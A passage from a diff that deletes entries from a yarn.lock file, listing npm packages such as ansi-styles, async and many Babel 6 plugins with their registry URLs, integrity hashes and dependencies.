-  resolved "https://registry.yarnpkg.com/ansi-styles/-/ansi-styles-4.3.0.tgz#edd803628ae71c04c85ae7a0906edad34b648937"
-  integrity sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==
-  dependencies:
-    color-convert "^2.0.1"
-
-anymatch@~3.1.1:
-  version "3.1.2"
-  resolved "https://registry.yarnpkg.com/anymatch/-/anymatch-3.1.2.tgz#c0557c096af32f106198f4f4e2a383537e378716"
-  integrity sha512-P43ePfOAIupkguHUycrc4qJ9kz8ZiuOUijaETwX7THt0Y/GNK7v0aa8rY816xWjZ7rJdA5XdMcpVFTKMq+RvWg==
-  dependencies:
-    normalize-path "^3.0.0"
-    picomatch "^2.0.4"
-
-argparse@^2.0.1:
-  version "2.0.1"
-  resolved "https://registry.yarnpkg.com/argparse/-/argparse-2.0.1.tgz#246f50f3ca78a3240f6c997e8a9bd1eac49e4b38"
-  integrity sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==
-
-arr-diff@^4.0.0:
-  version "4.0.0"
-  resolved "https://registry.yarnpkg.com/arr-diff/-/arr-diff-4.0.0.tgz#d6461074febfec71e7e15235761a329a5dc7c520"
-  integrity sha1-1kYQdP6/7HHn4VI1dhoyml3HxSA=
-
-arr-flatten@^1.1.0:
-  version "1.1.0"
-  resolved "https://registry.yarnpkg.com/arr-flatten/-/arr-flatten-1.1.0.tgz#36048bbff4e7b47e136644316c99669ea5ae91f1"
-  integrity sha512-L3hKV5R/p5o81R7O02IGnwpDmkp6E982XhtbuwSe3O4qOtMMMtodicASA1Cny2U+aCXcNpml+m4dPsvsJ3jatg==
-
-arr-union@^3.1.0:
-  version "3.1.0"
-  resolved "https://registry.yarnpkg.com/arr-union/-/arr-union-3.1.0.tgz#e39b09aea9def866a8f206e288af63919bae39c4"
-  integrity sha1-45sJrqne+Gao8gbiiK9jkZuuOcQ=
-
-array-back@^1.0.3, array-back@^1.0.4:
-  version "1.0.4"
-  resolved "https://registry.yarnpkg.com/array-back/-/array-back-1.0.4.tgz#644ba7f095f7ffcf7c43b5f0dc39d3c1f03c063b"
-  integrity sha1-ZEun8JX3/898Q7Xw3DnTwfA8Bjs=
-  dependencies:
-    typical "^2.6.0"
-
-array-back@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/array-back/-/array-back-2.0.0.tgz#6877471d51ecc9c9bfa6136fb6c7d5fe69748022"
-  integrity sha512-eJv4pLLufP3g5kcZry0j6WXpIbzYw9GUB4mVJZno9wfwiBxbizTnHCw3VJb07cBihbFX48Y7oSrW9y+gt4glyw==
-  dependencies:
-    typical "^2.6.1"
-
-array-filter@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/array-filter/-/array-filter-1.0.0.tgz#baf79e62e6ef4c2a4c0b831232daffec251f9d83"
-  integrity sha1-uveeYubvTCpMC4MSMtr/7CUfnYM=
-
-array-flatten@1.1.1:
-  version "1.1.1"
-  resolved "https://registry.yarnpkg.com/array-flatten/-/array-flatten-1.1.1.tgz#9a5f699051b1e7073328f2a008968b64ea2955d2"
-  integrity sha1-ml9pkFGx5wczKPKgCJaLZOopVdI=
-
-array-unique@^0.3.2:
-  version "0.3.2"
-  resolved "https://registry.yarnpkg.com/array-unique/-/array-unique-0.3.2.tgz#a894b75d4bc4f6cd679ef3244a9fd8f46ae2d428"
-  integrity sha1-qJS3XUvE9s1nnvMkSp/Y9Gri1Cg=
-
-asn1.js@^5.2.0:
-  version "5.4.1"
-  resolved "https://registry.yarnpkg.com/asn1.js/-/asn1.js-5.4.1.tgz#11a980b84ebb91781ce35b0fdc2ee294e3783f07"
-  integrity sha512-+I//4cYPccV8LdmBLiX8CYvf9Sp3vQsrqu2QNXRcrbiWvcx/UdlFiqUJJzxRQxgsZmvhXhn4cSKeSmoFjVdupA==
-  dependencies:
-    bn.js "^4.0.0"
-    inherits "^2.0.1"
-    minimalistic-assert "^1.0.0"
-    safer-buffer "^2.1.0"
-
-asn1@~0.2.3:
-  version "0.2.4"
-  resolved "https://registry.yarnpkg.com/asn1/-/asn1-0.2.4.tgz#8d2475dfab553bb33e77b54e59e880bb8ce23136"
-  integrity sha512-jxwzQpLQjSmWXgwaCZE9Nz+glAG01yF1QnWgbhGwHI5A6FRIEY6IVqtHhIepHqI7/kyEyQEagBC5mBEFlIYvdg==
-  dependencies:
-    safer-buffer "~2.1.0"
-
-assert-plus@1.0.0, assert-plus@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/assert-plus/-/assert-plus-1.0.0.tgz#f12e0f3c5d77b0b1cdd9146942e4e96c1e4dd525"
-  integrity sha1-8S4PPF13sLHN2RRpQuTpbB5N1SU=
-
-assertion-error@^1.1.0:
-  version "1.1.0"
-  resolved "https://registry.yarnpkg.com/assertion-error/-/assertion-error-1.1.0.tgz#e60b6b0e8f301bd97e5375215bda406c85118c0b"
-  integrity sha512-jgsaNduz+ndvGyFt3uSuWqvy4lCnIJiovtouQN5JZHOKCS2QuhEdbcQHFhVksz2N2U9hXJo8odG7ETyWlEeuDw==
-
-assign-symbols@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/assign-symbols/-/assign-symbols-1.0.0.tgz#59667f41fadd4f20ccbc2bb96b8d4f7f78ec0367"
-  integrity sha1-WWZ/QfrdTyDMvCu5a41Pf3jsA2c=
-
-async-eventemitter@^0.2.2:
-  version "0.2.4"
-  resolved "https://registry.yarnpkg.com/async-eventemitter/-/async-eventemitter-0.2.4.tgz#f5e7c8ca7d3e46aab9ec40a292baf686a0bafaca"
-  integrity sha512-pd20BwL7Yt1zwDFy+8MX8F1+WCT8aQeKj0kQnTrH9WaeRETlRamVhD0JtRPmrV4GfOJ2F9CvdQkZeZhnh2TuHw==
-  dependencies:
-    async "^2.4.0"
-
-async-limiter@~1.0.0:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/async-limiter/-/async-limiter-1.0.1.tgz#dd379e94f0db8310b08291f9d64c3209766617fd"
-  integrity sha512-csOlWGAcRFJaI6m+F2WKdnMKr4HhdhFVBk0H/QbJFMCr+uO2kwohwXQPxw/9OCxp05r5ghVBFSyioixx3gfkNQ==
-
-async@2.6.2:
-  version "2.6.2"
-  resolved "https://registry.yarnpkg.com/async/-/async-2.6.2.tgz#18330ea7e6e313887f5d2f2a904bac6fe4dd5381"
-  integrity sha512-H1qVYh1MYhEEFLsP97cVKqCGo7KfCyTt6uEWqsTBr9SO84oK9Uwbyd/yCW+6rKJLHksBNUVWZDAjfS+Ccx0Bbg==
-  dependencies:
-    lodash "^4.17.11"
-
-async@^1.4.2:
-  version "1.5.2"
-  resolved "https://registry.yarnpkg.com/async/-/async-1.5.2.tgz#ec6a61ae56480c0c3cb241c95618e20892f9672a"
-  integrity sha1-7GphrlZIDAw8skHJVhjiCJL5Zyo=
-
-async@^2.0.1, async@^2.1.2, async@^2.4.0, async@^2.5.0, async@^2.6.1:
-  version "2.6.3"
-  resolved "https://registry.yarnpkg.com/async/-/async-2.6.3.tgz#d72625e2344a3656e3a3ad4fa749fa83299d82ff"
-  integrity sha512-zflvls11DCy+dQWzTW2dzuilv8Z5X/pjfmZOWba6TNIVDm+2UDaJmXSOXlasHKfNBs8oo3M0aT50fDEWfKZjXg==
-  dependencies:
-    lodash "^4.17.14"
-
-asynckit@^0.4.0:
-  version "0.4.0"
-  resolved "https://registry.yarnpkg.com/asynckit/-/asynckit-0.4.0.tgz#c79ed97f7f34cb8f2ba1bc9790bcc366474b4b79"
-  integrity sha1-x57Zf380y48robyXkLzDZkdLS3k=
-
-atob@^2.1.2:
-  version "2.1.2"
-  resolved "https://registry.yarnpkg.com/atob/-/atob-2.1.2.tgz#6d9517eb9e030d2436666651e86bd9f6f13533c9"
-  integrity sha512-Wm6ukoaOGJi/73p/cl2GvLjTI5JM1k/O14isD73YML8StrH/7/lRFgmg8nICZgD3bZZvjwCGxtMOD3wWNAu8cg==
-
-available-typed-arrays@^1.0.2:
-  version "1.0.2"
-  resolved "https://registry.yarnpkg.com/available-typed-arrays/-/available-typed-arrays-1.0.2.tgz#6b098ca9d8039079ee3f77f7b783c4480ba513f5"
-  integrity sha512-XWX3OX8Onv97LMk/ftVyBibpGwY5a8SmuxZPzeOxqmuEqUCOM9ZE+uIaD1VNJ5QnvU2UQusvmKbuM1FR8QWGfQ==
-  dependencies:
-    array-filter "^1.0.0"
-
-aws-sign2@~0.7.0:
-  version "0.7.0"
-  resolved "https://registry.yarnpkg.com/aws-sign2/-/aws-sign2-0.7.0.tgz#b46e890934a9591f2d2f6f86d7e6a9f1b3fe76a8"
-  integrity sha1-tG6JCTSpWR8tL2+G1+ap8bP+dqg=
-
-aws4@^1.8.0:
-  version "1.11.0"
-  resolved "https://registry.yarnpkg.com/aws4/-/aws4-1.11.0.tgz#d61f46d83b2519250e2784daf5b09479a8b41c59"
-  integrity sha512-xh1Rl34h6Fi1DC2WWKfxUTVqRsNnr6LsKz2+hfwDxQJWmrx8+c7ylaqBMcHfl1U1r2dsifOvKX3LQuLNZ+XSvA==
-
-babel-code-frame@^6.26.0:
-  version "6.26.0"
-  resolved "https://registry.yarnpkg.com/babel-code-frame/-/babel-code-frame-6.26.0.tgz#63fd43f7dc1e3bb7ce35947db8fe369a3f58c74b"
-  integrity sha1-Y/1D99weO7fONZR9uP42mj9Yx0s=
-  dependencies:
-    chalk "^1.1.3"
-    esutils "^2.0.2"
-    js-tokens "^3.0.2"
-
-babel-core@^6.0.14, babel-core@^6.26.0:
-  version "6.26.3"
-  resolved "https://registry.yarnpkg.com/babel-core/-/babel-core-6.26.3.tgz#b2e2f09e342d0f0c88e2f02e067794125e75c207"
-  integrity sha512-6jyFLuDmeidKmUEb3NM+/yawG0M2bDZ9Z1qbZP59cyHLz8kYGKYwpJP0UwUKKUiTRNvxfLesJnTedqczP7cTDA==
-  dependencies:
-    babel-code-frame "^6.26.0"
-    babel-generator "^6.26.0"
-    babel-helpers "^6.24.1"
-    babel-messages "^6.23.0"
-    babel-register "^6.26.0"
-    babel-runtime "^6.26.0"
-    babel-template "^6.26.0"
-    babel-traverse "^6.26.0"
-    babel-types "^6.26.0"
-    babylon "^6.18.0"
-    convert-source-map "^1.5.1"
-    debug "^2.6.9"
-    json5 "^0.5.1"
-    lodash "^4.17.4"
-    minimatch "^3.0.4"
-    path-is-absolute "^1.0.1"
-    private "^0.1.8"
-    slash "^1.0.0"
-    source-map "^0.5.7"
-
-babel-generator@^6.26.0:
-  version "6.26.1"
-  resolved "https://registry.yarnpkg.com/babel-generator/-/babel-generator-6.26.1.tgz#1844408d3b8f0d35a404ea7ac180f087a601bd90"
-  integrity sha512-HyfwY6ApZj7BYTcJURpM5tznulaBvyio7/0d4zFOeMPUmfxkCjHocCuoLa2SAGzBI8AREcH3eP3758F672DppA==
-  dependencies:
-    babel-messages "^6.23.0"
-    babel-runtime "^6.26.0"
-    babel-types "^6.26.0"
-    detect-indent "^4.0.0"
-    jsesc "^1.3.0"
-    lodash "^4.17.4"
-    source-map "^0.5.7"
-    trim-right "^1.0.1"
-
-babel-helper-builder-binary-assignment-operator-visitor@^6.24.1:
-  version "6.24.1"
-  resolved "https://registry.yarnpkg.com/babel-helper-builder-binary-assignment-operator-visitor/-/babel-helper-builder-binary-assignment-operator-visitor-6.24.1.tgz#cce4517ada356f4220bcae8a02c2b346f9a56664"
-  integrity sha1-zORReto1b0IgvK6KAsKzRvmlZmQ=
-  dependencies:
-    babel-helper-explode-assignable-expression "^6.24.1"
-    babel-runtime "^6.22.0"
-    babel-types "^6.24.1"
-
-babel-helper-call-delegate@^6.24.1:
-  version "6.24.1"
-  resolved "https://registry.yarnpkg.com/babel-helper-call-delegate/-/babel-helper-call-delegate-6.24.1.tgz#ece6aacddc76e41c3461f88bfc575bd0daa2df8d"
-  integrity sha1-7Oaqzdx25Bw0YfiL/Fdb0Nqi340=
-  dependencies:
-    babel-helper-hoist-variables "^6.24.1"
-    babel-runtime "^6.22.0"
-    babel-traverse "^6.24.1"
-    babel-types "^6.24.1"
-
-babel-helper-define-map@^6.24.1:
-  version "6.26.0"
-  resolved "https://registry.yarnpkg.com/babel-helper-define-map/-/babel-helper-define-map-6.26.0.tgz#a5f56dab41a25f97ecb498c7ebaca9819f95be5f"
-  integrity sha1-pfVtq0GiX5fstJjH66ypgZ+Vvl8=
-  dependencies:
-    babel-helper-function-name "^6.24.1"
-    babel-runtime "^6.26.0"
-    babel-types "^6.26.0"
-    lodash "^4.17.4"
-
-babel-helper-explode-assignable-expression@^6.24.1:
-  version "6.24.1"
-  resolved "https://registry.yarnpkg.com/babel-helper-explode-assignable-expression/-/babel-helper-explode-assignable-expression-6.24.1.tgz#f25b82cf7dc10433c55f70592d5746400ac22caa"
-  integrity sha1-8luCz33BBDPFX3BZLVdGQArCLKo=
-  dependencies:
-    babel-runtime "^6.22.0"
-    babel-traverse "^6.24.1"
-    babel-types "^6.24.1"
-
-babel-helper-function-name@^6.24.1:
-  version "6.24.1"
-  resolved "https://registry.yarnpkg.com/babel-helper-function-name/-/babel-helper-function-name-6.24.1.tgz#d3475b8c03ed98242a25b48351ab18399d3580a9"
-  integrity sha1-00dbjAPtmCQqJbSDUasYOZ01gKk=
-  dependencies:
-    babel-helper-get-function-arity "^6.24.1"
-    babel-runtime "^6.22.0"
-    babel-template "^6.24.1"
-    babel-traverse "^6.24.1"
-    babel-types "^6.24.1"
-
-babel-helper-get-function-arity@^6.24.1:
-  version "6.24.1"
-  resolved "https://registry.yarnpkg.com/babel-helper-get-function-arity/-/babel-helper-get-function-arity-6.24.1.tgz#8f7782aa93407c41d3aa50908f89b031b1b6853d"
-  integrity sha1-j3eCqpNAfEHTqlCQj4mwMbG2hT0=
-  dependencies:
-    babel-runtime "^6.22.0"
-    babel-types "^6.24.1"
-
-babel-helper-hoist-variables@^6.24.1:
-  version "6.24.1"
-  resolved "https://registry.yarnpkg.com/babel-helper-hoist-variables/-/babel-helper-hoist-variables-6.24.1.tgz#1ecb27689c9d25513eadbc9914a73f5408be7a76"
-  integrity sha1-HssnaJydJVE+rbyZFKc/VAi+enY=
-  dependencies:
-    babel-runtime "^6.22.0"
-    babel-types "^6.24.1"
-
-babel-helper-optimise-call-expression@^6.24.1:
-  version "6.24.1"
-  resolved "https://registry.yarnpkg.com/babel-helper-optimise-call-expression/-/babel-helper-optimise-call-expression-6.24.1.tgz#f7a13427ba9f73f8f4fa993c54a97882d1244257"
-  integrity sha1-96E0J7qfc/j0+pk8VKl4gtEkQlc=
-  dependencies:
-    babel-runtime "^6.22.0"
-    babel-types "^6.24.1"
-
-babel-helper-regex@^6.24.1:
-  version "6.26.0"
-  resolved "https://registry.yarnpkg.com/babel-helper-regex/-/babel-helper-regex-6.26.0.tgz#325c59f902f82f24b74faceed0363954f6495e72"
-  integrity sha1-MlxZ+QL4LyS3T6zu0DY5VPZJXnI=
-  dependencies:
-    babel-runtime "^6.26.0"
-    babel-types "^6.26.0"
-    lodash "^4.17.4"
-
-babel-helper-remap-async-to-generator@^6.24.1:
-  version "6.24.1"
-  resolved "https://registry.yarnpkg.com/babel-helper-remap-async-to-generator/-/babel-helper-remap-async-to-generator-6.24.1.tgz#5ec581827ad723fecdd381f1c928390676e4551b"
-  integrity sha1-XsWBgnrXI/7N04HxySg5BnbkVRs=
-  dependencies:
-    babel-helper-function-name "^6.24.1"
-    babel-runtime "^6.22.0"
-    babel-template "^6.24.1"
-    babel-traverse "^6.24.1"
-    babel-types "^6.24.1"
-
-babel-helper-replace-supers@^6.24.1:
-  version "6.24.1"
-  resolved "https://registry.yarnpkg.com/babel-helper-replace-supers/-/babel-helper-replace-supers-6.24.1.tgz#bf6dbfe43938d17369a213ca8a8bf74b6a90ab1a"
-  integrity sha1-v22/5Dk40XNpohPKiov3S2qQqxo=
-  dependencies:
-    babel-helper-optimise-call-expression "^6.24.1"
-    babel-messages "^6.23.0"
-    babel-runtime "^6.22.0"
-    babel-template "^6.24.1"
-    babel-traverse "^6.24.1"
-    babel-types "^6.24.1"
-
-babel-helpers@^6.24.1:
-  version "6.24.1"
-  resolved "https://registry.yarnpkg.com/babel-helpers/-/babel-helpers-6.24.1.tgz#3471de9caec388e5c850e597e58a26ddf37602b2"
-  integrity sha1-NHHenK7DiOXIUOWX5Yom3fN2ArI=
-  dependencies:
-    babel-runtime "^6.22.0"
-    babel-template "^6.24.1"
-
-babel-messages@^6.23.0:
-  version "6.23.0"
-  resolved "https://registry.yarnpkg.com/babel-messages/-/babel-messages-6.23.0.tgz#f3cdf4703858035b2a2951c6ec5edf6c62f2630e"
-  integrity sha1-8830cDhYA1sqKVHG7F7fbGLyYw4=
-  dependencies:
-    babel-runtime "^6.22.0"
-
-babel-plugin-check-es2015-constants@^6.22.0:
-  version "6.22.0"
-  resolved "https://registry.yarnpkg.com/babel-plugin-check-es2015-constants/-/babel-plugin-check-es2015-constants-6.22.0.tgz#35157b101426fd2ffd3da3f75c7d1e91835bbf8a"
-  integrity sha1-NRV7EBQm/S/9PaP3XH0ekYNbv4o=
-  dependencies:
-    babel-runtime "^6.22.0"
-
-babel-plugin-syntax-async-functions@^6.8.0:
-  version "6.13.0"
-  resolved "https://registry.yarnpkg.com/babel-plugin-syntax-async-functions/-/babel-plugin-syntax-async-functions-6.13.0.tgz#cad9cad1191b5ad634bf30ae0872391e0647be95"
-  integrity sha1-ytnK0RkbWtY0vzCuCHI5HgZHvpU=
-
-babel-plugin-syntax-exponentiation-operator@^6.8.0:
-  version "6.13.0"
-  resolved "https://registry.yarnpkg.com/babel-plugin-syntax-exponentiation-operator/-/babel-plugin-syntax-exponentiation-operator-6.13.0.tgz#9ee7e8337290da95288201a6a57f4170317830de"
-  integrity sha1-nufoM3KQ2pUoggGmpX9BcDF4MN4=
-
-babel-plugin-syntax-trailing-function-commas@^6.22.0:
-  version "6.22.0"
-  resolved "https://registry.yarnpkg.com/babel-plugin-syntax-trailing-function-commas/-/babel-plugin-syntax-trailing-function-commas-6.22.0.tgz#ba0360937f8d06e40180a43fe0d5616fff532cf3"
-  integrity sha1-ugNgk3+NBuQBgKQ/4NVhb/9TLPM=
-
-babel-plugin-transform-async-to-generator@^6.22.0:
-  version "6.24.1"
-  resolved "https://registry.yarnpkg.com/babel-plugin-transform-async-to-generator/-/babel-plugin-transform-async-to-generator-6.24.1.tgz#6536e378aff6cb1d5517ac0e40eb3e9fc8d08761"
-  integrity sha1-ZTbjeK/2yx1VF6wOQOs+n8jQh2E=
-  dependencies:
-    babel-helper-remap-async-to-generator "^6.24.1"
-    babel-plugin-syntax-async-functions "^6.8.0"
-    babel-runtime "^6.22.0"
-
-babel-plugin-transform-es2015-arrow-functions@^6.22.0:
-  version "6.22.0"
-  resolved "https://registry.yarnpkg.com/babel-plugin-transform-es2015-arrow-functions/-/babel-plugin-transform-es2015-arrow-functions-6.22.0.tgz#452692cb711d5f79dc7f85e440ce41b9f244d221"
-  integrity sha1-RSaSy3EdX3ncf4XkQM5BufJE0iE=
-  dependencies:
-    babel-runtime "^6.22.0"
-
-babel-plugin-transform-es2015-block-scoped-functions@^6.22.0:
-  version "6.22.0"
-  resolved "https://registry.yarnpkg.com/babel-plugin-transform-es2015-block-scoped-functions/-/babel-plugin-transform-es2015-block-scoped-functions-6.22.0.tgz#bbc51b49f964d70cb8d8e0b94e820246ce3a6141"
-  integrity sha1-u8UbSflk1wy42OC5ToICRs46YUE=
-  dependencies:
-    babel-runtime "^6.22.0"
-
-babel-plugin-transform-es2015-block-scoping@^6.23.0:
-  version "6.26.0"
-  resolved "https://registry.yarnpkg.com/babel-plugin-transform-es2015-block-scoping/-/babel-plugin-transform-es2015-block-scoping-6.26.0.tgz#d70f5299c1308d05c12f463813b0a09e73b1895f"
-  integrity sha1-1w9SmcEwjQXBL0Y4E7CgnnOxiV8=
-  dependencies:
-    babel-runtime "^6.26.0"
-    babel-template "^6.26.0"
-    babel-traverse "^6.26.0"
-    babel-types "^6.26.0"
-    lodash "^4.17.4"
-
-babel-plugin-transform-es2015-classes@^6.23.0:
-  version "6.24.1"
-  resolved "https://registry.yarnpkg.com/babel-plugin-transform-es2015-classes/-/babel-plugin-transform-es2015-classes-6.24.1.tgz#5a4c58a50c9c9461e564b4b2a3bfabc97a2584db"
-  integrity sha1-WkxYpQyclGHlZLSyo7+ryXolhNs=
-  dependencies:
-    babel-helper-define-map "^6.24.1"
-    babel-helper-function-name "^6.24.1"
-    babel-helper-optimise-call-expression "^6.24.1"
-    babel-helper-replace-supers "^6.24.1"
-    babel-messages "^6.23.0"
-    babel-runtime "^6.22.0"
-    babel-template "^6.24.1"
-    babel-traverse "^6.24.1"
-    babel-types "^6.24.1"
-
-babel-plugin-transform-es2015-computed-properties@^6.22.0:
-  version "6.24.1"
-  resolved "https://registry.yarnpkg.com/babel-plugin-transform-es2015-computed-properties/-/babel-plugin-transform-es2015-computed-properties-6.24.1.tgz#6fe2a8d16895d5634f4cd999b6d3480a308159b3"
-  integrity sha1-b+Ko0WiV1WNPTNmZttNICjCBWbM=
-  dependencies:
-    babel-runtime "^6.22.0"
-    babel-template "^6.24.1"
-
-babel-plugin-transform-es2015-destructuring@^6.23.0:
-  version "6.23.0"
-  resolved "https://registry.yarnpkg.com/babel-plugin-transform-es2015-destructuring/-/babel-plugin-transform-es2015-destructuring-6.23.0.tgz#997bb1f1ab967f682d2b0876fe358d60e765c56d"
-  integrity sha1-mXux8auWf2gtKwh2/jWNYOdlxW0=
-  dependencies:
-    babel-runtime "^6.22.0"
-
-babel-plugin-transform-es2015-duplicate-keys@^6.22.0:
-  version "6.24.1"
-  resolved "https://registry.yarnpkg.com/babel-plugin-transform-es2015-duplicate-keys/-/babel-plugin-transform-es2015-duplicate-keys-6.24.1.tgz#73eb3d310ca969e3ef9ec91c53741a6f1576423e"
-  integrity sha1-c+s9MQypaePvnskcU3QabxV2Qj4=
-  dependencies:
-    babel-runtime "^6.22.0"
-    babel-types "^6.24.1"
-
-babel-plugin-transform-es2015-for-of@^6.23.0:
-  version "6.23.0"
-  resolved "https://registry.yarnpkg.com/babel-plugin-transform-es2015-for-of/-/babel-plugin-transform-es2015-for-of-6.23.0.tgz#f47c95b2b613df1d3ecc2fdb7573623c75248691"
-  integrity sha1-9HyVsrYT3x0+zC/bdXNiPHUkhpE=
-  dependencies:
-    babel-runtime "^6.22.0"
-
-babel-plugin-transform-es2015-function-name@^6.22.0:
-  version "6.24.1"
-  resolved "https://registry.yarnpkg.com/babel-plugin-transform-es2015-function-name/-/babel-plugin-transform-es2015-function-name-6.24.1.tgz#834c89853bc36b1af0f3a4c5dbaa94fd8eacaa8b"
-  integrity sha1-g0yJhTvDaxrw86TF26qU/Y6sqos=
-  dependencies:
-    babel-helper-function-name "^6.24.1"
-    babel-runtime "^6.22.0"
-    babel-types "^6.24.1"
-
-babel-plugin-transform-es2015-literals@^6.22.0:
-  version "6.22.0"
-  resolved "https://registry.yarnpkg.com/babel-plugin-transform-es2015-literals/-/babel-plugin-transform-es2015-literals-6.22.0.tgz#4f54a02d6cd66cf915280019a31d31925377ca2e"
-  integrity sha1-T1SgLWzWbPkVKAAZox0xklN3yi4=
-  dependencies:
-    babel-runtime "^6.22.0"
-
-babel-plugin-transform-es2015-modules-amd@^6.22.0, babel-plugin-transform-es2015-modules-amd@^6.24.1:
-  version "6.24.1"
-  resolved "https://registry.yarnpkg.com/babel-plugin-transform-es2015-modules-amd/-/babel-plugin-transform-es2015-modules-amd-6.24.1.tgz#3b3e54017239842d6d19c3011c4bd2f00a00d154"
-  integrity sha1-Oz5UAXI5hC1tGcMBHEvS8AoA0VQ=
-  dependencies:
-    babel-plugin-transform-es2015-modules-commonjs "^6.24.1"
-    babel-runtime "^6.22.0"
-    babel-template "^6.24.1"
-
-babel-plugin-transform-es2015-modules-commonjs@^6.23.0, babel-plugin-transform-es2015-modules-commonjs@^6.24.1:
-  version "6.26.2"
-  resolved "https://registry.yarnpkg.com/babel-plugin-transform-es2015-modules-commonjs/-/babel-plugin-transform-es2015-modules-commonjs-6.26.2.tgz#58a793863a9e7ca870bdc5a881117ffac27db6f3"
-  integrity sha512-CV9ROOHEdrjcwhIaJNBGMBCodN+1cfkwtM1SbUHmvyy35KGT7fohbpOxkE2uLz1o6odKK2Ck/tz47z+VqQfi9Q==
-  dependencies:
-    babel-plugin-transform-strict-mode "^6.24.1"
-    babel-runtime "^6.26.0"
-    babel-template "^6.26.0"
-    babel-types "^6.26.0"
-
-babel-plugin-transform-es2015-modules-systemjs@^6.23.0:
-  version "6.24.1"
-  resolved "https://registry.yarnpkg.com/babel-plugin-transform-es2015-modules-systemjs/-/babel-plugin-transform-es2015-modules-systemjs-6.24.1.tgz#ff89a142b9119a906195f5f106ecf305d9407d23"
-  integrity sha1-/4mhQrkRmpBhlfXxBuzzBdlAfSM=
-  dependencies:
-    babel-helper-hoist-variables "^6.24.1"
-    babel-runtime "^6.22.0"
-    babel-template "^6.24.1"
-
-babel-plugin-transform-es2015-modules-umd@^6.23.0:
-  version "6.24.1"
-  resolved "https://registry.yarnpkg.com/babel-plugin-transform-es2015-modules-umd/-/babel-plugin-transform-es2015-modules-umd-6.24.1.tgz#ac997e6285cd18ed6176adb607d602344ad38468"
-  integrity sha1-rJl+YoXNGO1hdq22B9YCNErThGg=
-  dependencies:
-    babel-plugin-transform-es2015-modules-amd "^6.24.1"
-    babel-runtime "^6.22.0"
-    babel-template "^6.24.1"
-
-babel-plugin-transform-es2015-object-super@^6.22.0:
-  version "6.24.1"
-  resolved "https://registry.yarnpkg.com/babel-plugin-transform-es2015-object-super/-/babel-plugin-transform-es2015-object-super-6.24.1.tgz#24cef69ae21cb83a7f8603dad021f572eb278f8d"
-  integrity sha1-JM72muIcuDp/hgPa0CH1cusnj40=
-  dependencies:
-    babel-helper-replace-supers "^6.24.1"
-    babel-runtime "^6.22.0"
-
-babel-plugin-transform-es2015-parameters@^6.23.0:
-  version "6.24.1"
-  resolved "https://registry.yarnpkg.com/babel-plugin-transform-es2015-parameters/-/babel-plugin-transform-es2015-parameters-6.24.1.tgz#57ac351ab49caf14a97cd13b09f66fdf0a625f2b"
-  integrity sha1-V6w1GrScrxSpfNE7CfZv3wpiXys=
-  dependencies:
-    babel-helper-call-delegate "^6.24.1"
-    babel-helper-get-function-arity "^6.24.1"
-    babel-runtime "^6.22.0"
-    babel-template "^6.24.1"
-    babel-traverse "^6.24.1"
-    babel-types "^6.24.1"
-
-babel-plugin-transform-es2015-shorthand-properties@^6.22.0:
-  version "6.24.1"
-  resolved "https://registry.yarnpkg.com/babel-plugin-transform-es2015-shorthand-properties/-/babel-plugin-transform-es2015-shorthand-properties-6.24.1.tgz#24f875d6721c87661bbd99a4622e51f14de38aa0"
-  integrity sha1-JPh11nIch2YbvZmkYi5R8U3jiqA=
-  dependencies:
-    babel-runtime "^6.22.0"
-    babel-types "^6.24.1"
-
-babel-plugin-transform-es2015-spread@^6.22.0:
-  version "6.22.0"
-  resolved "https://registry.yarnpkg.com/babel-plugin-transform-es2015-spread/-/babel-plugin-transform-es2015-spread-6.22.0.tgz#d6d68a99f89aedc4536c81a542e8dd9f1746f8d1"
-  integrity sha1-1taKmfia7cRTbIGlQujdnxdG+NE=
-  dependencies:
-    babel-runtime "^6.22.0"
-
-babel-plugin-transform-es2015-sticky-regex@^6.22.0:
-  version "6.24.1"
-  resolved "https://registry.yarnpkg.com/babel-plugin-transform-es2015-sticky-regex/-/babel-plugin-transform-es2015-sticky-regex-6.24.1.tgz#00c1cdb1aca71112cdf0cf6126c2ed6b457ccdbc"
-  integrity sha1-AMHNsaynERLN8M9hJsLta0V8zbw=
-  dependencies:
-    babel-helper-regex "^6.24.1"
-    babel-runtime "^6.22.0"
-    babel-types "^6.24.1"
-
-babel-plugin-transform-es2015-template-literals@^6.22.0:
-  version "6.22.0"
-  resolved "https://registry.yarnpkg.com/babel-plugin-transform-es2015-template-literals/-/babel-plugin-transform-es2015-template-literals-6.22.0.tgz#a84b3450f7e9f8f1f6839d6d687da84bb1236d8d"
-  integrity sha1-qEs0UPfp+PH2g51taH2oS7EjbY0=
-  dependencies:
-    babel-runtime "^6.22.0"
-
-babel-plugin-transform-es2015-typeof-symbol@^6.23.0:
-  version "6.23.0"
-  resolved "https://registry.yarnpkg.com/babel-plugin-transform-es2015-typeof-symbol/-/babel-plugin-transform-es2015-typeof-symbol-6.23.0.tgz#dec09f1cddff94b52ac73d505c84df59dcceb372"
-  integrity sha1-3sCfHN3/lLUqxz1QXITfWdzOs3I=
-  dependencies:
-    babel-runtime "^6.22.0"
-
-babel-plugin-transform-es2015-unicode-regex@^6.22.0:
-  version "6.24.1"
-  resolved "https://registry.yarnpkg.com/babel-plugin-transform-es2015-unicode-regex/-/babel-plugin-transform-es2015-unicode-regex-6.24.1.tgz#d38b12f42ea7323f729387f18a7c5ae1faeb35e9"
-  integrity sha1-04sS9C6nMj9yk4fxinxa4frrNek=
-  dependencies:
-    babel-helper-regex "^6.24.1"
-    babel-runtime "^6.22.0"
-    regexpu-core "^2.0.0"
-
-babel-plugin-transform-exponentiation-operator@^6.22.0:
-  version "6.24.1"
-  resolved "https://registry.yarnpkg.com/babel-plugin-transform-exponentiation-operator/-/babel-plugin-transform-exponentiation-operator-6.24.1.tgz#2ab0c9c7f3098fa48907772bb813fe41e8de3a0e"
-  integrity sha1-KrDJx/MJj6SJB3cruBP+QejeOg4=
-  dependencies:
-    babel-helper-builder-binary-assignment-operator-visitor "^6.24.1"
